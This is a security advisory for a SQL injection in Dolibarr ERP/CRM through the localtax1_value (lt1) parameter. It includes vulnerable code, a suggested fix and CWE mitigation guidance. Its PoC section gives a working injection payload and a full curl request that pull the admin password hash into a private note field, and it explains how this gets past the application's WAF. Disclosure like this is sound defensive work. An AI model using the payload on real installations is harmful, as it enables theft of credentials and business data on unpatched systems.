GHSA-v5fq-cf5m-vwv7 CVE-2026-33944

Dolibarr has SQL Injection in societe/class/societe.class.php via localtax1_value parameter

High Packagist

Severity: 8.8 / 10; High · CVSS 3.1
Exploit chance (EPSS): —; No score published
Known exploited: No; Not in CISA's catalog
Weakness: CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Fix: None yet; No fixed version published

Description

Summary

A SQL Injection vulnerability exists in the Third Party (Company) update functionality of Dolibarr ERP/CRM. The localtax1_value parameter (lt1) is concatenated directly into an SQL UPDATE statement in societe/class/societe.class.php at line 1672 without any escaping, type casting, or parameterized query binding.

An authenticated user with standard "Third Party: Create/Edit" permission can extract any data from the database, including password hashes, API keys, and all business data.

Tested on Dolibarr v23.0.0 (latest stable), default installation via official Docker image, MariaDB 10.11. No custom modules, no modified configuration.

Details

Vulnerable code (societe/class/societe.class.php, line 1672):

$sql .= ",localtax1_value =".$this->localtax1_value;

The value comes from GETPOST('lt1', 'alpha') (societe/card.php, line 1135). The only sanitization applied is trim() at line 1528 — no (float) cast, no $db->escape().

The alpha input filter strips HTML tags and double quotes but does not strip single quotes, parentheses, commas, or SQL keywords. Since the injection point is in a numeric SQL context (no quotes around the value), the attacker needs none of the filtered characters.

Why the WAF does not block this: Dolibarr's WAF (waf.inc.php) only checks SQL injection patterns in GET parameters, not POST. The POST-based lt1 parameter bypasses it entirely.

The same vulnerability exists for localtax2_value (parameter lt2) at line 1682.

Adjacent fields like localtax1_assuj are properly cast to (int), showing the developers were aware of injection risk but missed these fields.

PoC

Steps to reproduce:

Install Dolibarr v23.0.0 (tested with official Docker image, MariaDB 10.11)
Log in with a user that has "Third Parties: Create/Edit" permission (standard user, not admin)
Create or open any existing Third Party (company) record
Click "Edit" on the company card to open the update form
Intercept the POST request (e.g., Burp Suite) and add these parameters to the request body:
- localtax1assuj_value=1
- lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)
Submit the form (server responds with HTTP 302 Found — successful update)
Navigate to the company's Notes tab — the admin's MD5 password hash is now visible in the "Private Note" field

Verification: echo -n "admin123" | md5sum → 0192023a7bbd73250516f069df18b500 (matches exfiltrated hash).

Figure 1 — Notes tab before exploitation (Private Note field is empty):

Figure 2 — Burp Suite Repeater: full POST request headers and HTTP 302 Found response:

Figure 3 — Burp Suite Repeater: request body with injected localtax1assuj_value=1 and lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1):

Figure 4 — Notes tab after exploitation: Private Note now contains 0192023a7bbd73250516f069df18b500 (MD5 hash of admin password "admin123"):

curl PoC:

curl -b cookies.txt \
  --data-urlencode "action=update" \
  --data-urlencode "token=CSRF_TOKEN" \
  --data-urlencode "socid=1" \
  --data-urlencode "name=TestCompany" \
  --data-urlencode "status=1" \
  --data-urlencode "localtax1assuj_value=1" \
  --data-urlencode "lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)" \
  --data-urlencode "client=1" \
  --data-urlencode "typent_id=0" \
  "http://TARGET/societe/card.php?socid=1"

Additional proof — arithmetic evaluation: Sending lt1=3+4 results in localtax1_value=7.0000 stored in the database. The expression was evaluated by the SQL engine, confirming injection.

Additional proof — user count exfiltration: Sending lt1=(SELECT COUNT(*) FROM llx_user) results in localtax1_value=1.0000.

Impact

An attacker with basic "Third Party: Create/Edit" permission (standard user, not admin) can:

Read any data from the database (password hashes, API keys, customer/supplier data, invoices, bank account details)
Modify any database record via additional SET clauses in the UPDATE injection
Escalate to admin by cracking MD5 password hashes (Dolibarr uses unsalted MD5 by default)
Potentially achieve RCE via admin features (Website module PHP injection, ModuleBuilder) after privilege escalation

Suggested Fix

// societe.class.php, line 1528 — add (float) cast:
$this->localtax1_value = (float) price2num(trim($this->localtax1_value));

// societe.class.php, line 1672 — add (float) cast:
$sql .= ",localtax1_value =".((float) $this->localtax1_value);

Apply same fix for localtax2_value (lines 1529, 1682).

Credit

Please credit this finding to: Grzegorz Tworek (F3715H) sec4check (grzegorz.tworek@sec4check.pl)

References

A detailed write-up will be published after patch release at: https://www.sec4check.pl/blog/posts/cve-dolibarr-sql-injection-localtax-third-party.html

We kindly request including this URL in the CVE references.

Affected versions

Packagist

Package	Vulnerable	Fixed in
dolibarr/dolibarr	`<= 23.0.0`	No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 8.8

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack vector: Network
Attack complexity: Low
Privileges required: Low
User interaction: None
Scope: Unchanged
Confidentiality: High
Integrity: High
Availability: High

Weakness

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

How to prevent it

Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations. Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Implementation: While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88). Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the data
Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.
Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Packages

github.com/Dolibarr/dolibarr

Timeline

Oct 27, 2026 Published
Oct 27, 2026 Last updated by the source

Advisory	Severity	Why it's related
GHSA-7fg5-vc77-69fp Dolibarr ERP CRM is vulnerable to Improper Authorization through its Leave Request REST API	Medium	Also affects dolibarr/dolibarr
GHSA-hxmh-2xc4-c894 Dolibarr ERP CRM contains a remote code evaluation vulnerability	Critical	Also affects dolibarr/dolibarr
GHSA-jggh-5rmh-r6h5 Dolibarr has Insufficient Verification of Data Authenticity	Low	Also affects dolibarr/dolibarr
GHSA-rvwr-q5hj-wq7g Dolibarr has an Injection issue	Medium	Also affects dolibarr/dolibarr
GHSA-j2g9-rprv-hrhc Dolibarr user with permission to edit PHP content can bypass filtering to restrict dangerous PHP functions	High	Also affects dolibarr/dolibarr
GHSA-676v-wh57-p375 Dolibarr Allows Code Injection through its Website Module	High	Also affects dolibarr/dolibarr
GHSA-w5j3-8fcr-h87w Dolibarr: OS Command Injection (RCE) via MAIN_ODT_AS_PDF configuration	Critical	Also affects dolibarr/dolibarr
GHSA-xxxg-x793-7fq3 Dolibarr has SQL injection vulnerability in the rowid parameter of the admin dict.php	Critical	Also affects dolibarr/dolibarr

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Description

Summary

Details

PoC

Impact

Suggested Fix

Credit

References

Affected versions

Packagist

How to fix

Severity breakdown

CVSS 3.1 8.8

Weakness

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

References

Packages

Other links

Timeline

Related advisories